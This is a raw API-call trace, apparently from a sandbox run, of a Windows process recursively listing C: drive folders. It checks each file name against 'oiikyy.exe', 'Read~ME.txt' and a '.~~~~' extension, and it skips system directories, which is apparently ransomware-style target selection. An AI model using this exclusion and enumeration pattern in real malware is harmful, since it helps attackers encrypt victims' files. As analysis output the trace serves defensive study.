	[0065.861] GetCurrentThreadId () returned 0x618
	[0065.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac938
	[0065.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab378
	[0065.861] RtlWakeConditionVariable () returned 0x365f48
	[0065.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.861] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1
	[0065.861] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="Windows") returned -1
	[0065.861] lstrcmpW (lpString1="VisiorWW.cab", lpString2="oiikyy.exe") returned 1
	[0065.862] StrStrW (lpFirst="VisiorWW.cab", lpSrch=".~~~~") returned 0x0
	[0065.862] lstrcmpW (lpString1="VisiorWW.cab", lpString2="Read~ME.txt") returned 1
	[0065.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.862] GetCurrentThreadId () returned 0x618
	[0065.862] GetCurrentThreadId () returned 0x618
	[0065.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac970
	[0065.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab420
	[0065.862] RtlWakeConditionVariable () returned 0x365f48
	[0065.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.862] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1
	[0065.862] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="Windows") returned -1
	[0065.862] lstrcmpW (lpString1="VisiorWW.msi", lpString2="oiikyy.exe") returned 1
	[0065.862] StrStrW (lpFirst="VisiorWW.msi", lpSrch=".~~~~") returned 0x0
	[0065.862] lstrcmpW (lpString1="VisiorWW.msi", lpString2="Read~ME.txt") returned 1
	[0065.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.862] GetCurrentThreadId () returned 0x618
	[0065.862] GetCurrentThreadId () returned 0x618
	[0065.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac9a8
	[0065.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab4c8
	[0065.862] RtlWakeConditionVariable () returned 0x365f48
	[0065.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.862] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1
	[0065.862] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="Windows") returned -1
	[0065.862] lstrcmpW (lpString1="VisiorWW.xml", lpString2="oiikyy.exe") returned 1
	[0065.862] StrStrW (lpFirst="VisiorWW.xml", lpSrch=".~~~~") returned 0x0
	[0065.863] lstrcmpW (lpString1="VisiorWW.xml", lpString2="Read~ME.txt") returned 1
	[0065.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.863] GetCurrentThreadId () returned 0x618
	[0065.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac9e0
	[0065.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab570
	[0065.863] RtlWakeConditionVariable () returned 0x365f48
	[0065.863] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0
	[0065.863] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0065.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.864] GetCurrentThreadId () returned 0x618
	[0065.864] RtlWakeConditionVariable () returned 0x365f48
	[0065.864] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0
	[0065.864] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0065.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0065.864] GetCurrentThreadId () returned 0x618
	[0065.864] RtlWakeConditionVariable () returned 0x365f48
	[0065.865] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0
	[0065.865] FindClose (in: hFindFile=0x37a788 | out: hFindFile=0x37a788) returned 1
	[0065.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0065.866] GetCurrentThreadId () returned 0x618
	[0065.866] RtlWakeConditionVariable () returned 0x365f48
	[0065.866] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0065.866] lstrcmpiW (lpString1="pagefile.sys", lpString2="Windows") returned -1
	[0065.866] lstrcmpW (lpString1="pagefile.sys", lpString2="oiikyy.exe") returned 1
	[0065.866] StrStrW (lpFirst="pagefile.sys", lpSrch=".~~~~") returned 0x0
	[0065.866] lstrcmpW (lpString1="pagefile.sys", lpString2="Read~ME.txt") returned -1
	[0065.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acac0
	[0065.866] GetCurrentThreadId () returned 0x618
	[0065.866] RtlWakeConditionVariable () returned 0x365f48
	[0065.866] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0065.866] lstrcmpiW (lpString1="PerfLogs", lpString2="Windows") returned -1
	[0065.866] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1
	[0065.866] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1
	[0065.866] lstrcmpW (lpString1="PerfLogs", lpString2="AppData") returned 1
	[0065.866] StrStrW (lpFirst="\\\\?\\C:\\PerfLogs", lpSrch="AppData") returned 0x0
	[0065.866] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.866] lstrcmpiW (lpString1="C:\\PerfLogs", lpString2="C:\\Windows") returned -1
	[0065.867] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.867] lstrcmpiW (lpString1="C:\\PerfLogs", lpString2="C:\\System Volume Information") returned -1
	[0065.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0065.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a788
	[0065.867] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.867] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.867] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.867] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.868] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.868] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.868] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.868] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.868] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.868] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.868] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.868] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.868] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1
	[0065.868] lstrcmpiW (lpString1="Admin", lpString2="Windows") returned -1
	[0065.868] lstrcmpW (lpString1="Admin", lpString2=".") returned 1
	[0065.868] lstrcmpW (lpString1="Admin", lpString2="..") returned 1
	[0065.868] lstrcmpW (lpString1="Admin", lpString2="AppData") returned -1
	[0065.868] StrStrW (lpFirst="\\\\?\\C:\\PerfLogs\\Admin", lpSrch="AppData") returned 0x0
	[0065.868] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.868] lstrcmpiW (lpString1="C:\\PerfLogs\\Admin", lpString2="C:\\Windows") returned -1
	[0065.868] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.868] lstrcmpiW (lpString1="C:\\PerfLogs\\Admin", lpString2="C:\\System Volume Information") returned -1
	[0065.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0065.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0065.869] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.869] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.869] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.869] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.869] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.869] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.870] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.870] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.870] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.870] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.870] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.870] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.870] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0065.870] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0065.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0065.870] GetCurrentThreadId () returned 0x618
	[0065.870] RtlWakeConditionVariable () returned 0x365f48
	[0065.870] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0
	[0065.870] FindClose (in: hFindFile=0x37a788 | out: hFindFile=0x37a788) returned 1
	[0065.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0065.870] GetCurrentThreadId () returned 0x618
	[0065.870] RtlWakeConditionVariable () returned 0x365f48
	[0065.872] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe33db440, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe33db440, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0065.872] lstrcmpiW (lpString1="Program Files", lpString2="Windows") returned -1
	[0065.872] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1
	[0065.872] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1
	[0065.872] lstrcmpW (lpString1="Program Files", lpString2="AppData") returned 1
	[0065.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files", lpSrch="AppData") returned 0x0
	[0065.872] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.872] lstrcmpiW (lpString1="C:\\Program Files", lpString2="C:\\Windows") returned -1
	[0065.872] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.872] lstrcmpiW (lpString1="C:\\Program Files", lpString2="C:\\System Volume Information") returned -1
	[0065.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0065.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe33db440, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe33db440, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a788
	[0065.873] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.873] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.873] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.873] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.873] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acba0
	[0065.873] GetCurrentThreadId () returned 0x618
	[0065.873] RtlWakeConditionVariable () returned 0x365f48
	[0065.873] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe33db440, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe33db440, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.873] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.873] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.873] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.873] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.873] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.873] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acba0
	[0065.874] GetCurrentThreadId () returned 0x618
	[0065.874] RtlWakeConditionVariable () returned 0x365f48
	[0065.874] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0065.874] lstrcmpiW (lpString1="Common Files", lpString2="Windows") returned -1
	[0065.874] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1
	[0065.874] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1
	[0065.874] lstrcmpW (lpString1="Common Files", lpString2="AppData") returned 1
	[0065.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files", lpSrch="AppData") returned 0x0
	[0065.874] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.874] lstrcmpiW (lpString1="C:\\Program Files\\Common Files", lpString2="C:\\Windows") returned -1
	[0065.874] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.874] lstrcmpiW (lpString1="C:\\Program Files\\Common Files", lpString2="C:\\System Volume Information") returned -1
	[0065.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0065.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0065.875] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.875] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.875] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.875] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.875] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.875] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.875] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.875] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.875] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.875] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.875] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.875] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.875] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1
	[0065.875] lstrcmpiW (lpString1="DESIGNER", lpString2="Windows") returned -1
	[0065.875] lstrcmpW (lpString1="DESIGNER", lpString2=".") returned 1
	[0065.875] lstrcmpW (lpString1="DESIGNER", lpString2="..") returned 1
	[0065.875] lstrcmpW (lpString1="DESIGNER", lpString2="AppData") returned 1
	[0065.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER", lpSrch="AppData") returned 0x0
	[0065.876] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.876] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\DESIGNER", lpString2="C:\\Windows") returned -1
	[0065.876] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.876] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\DESIGNER", lpString2="C:\\System Volume Information") returned -1
	[0065.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0065.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0065.877] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.877] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.877] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.877] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.877] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.877] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.877] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.877] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.877] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.877] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.877] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.877] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
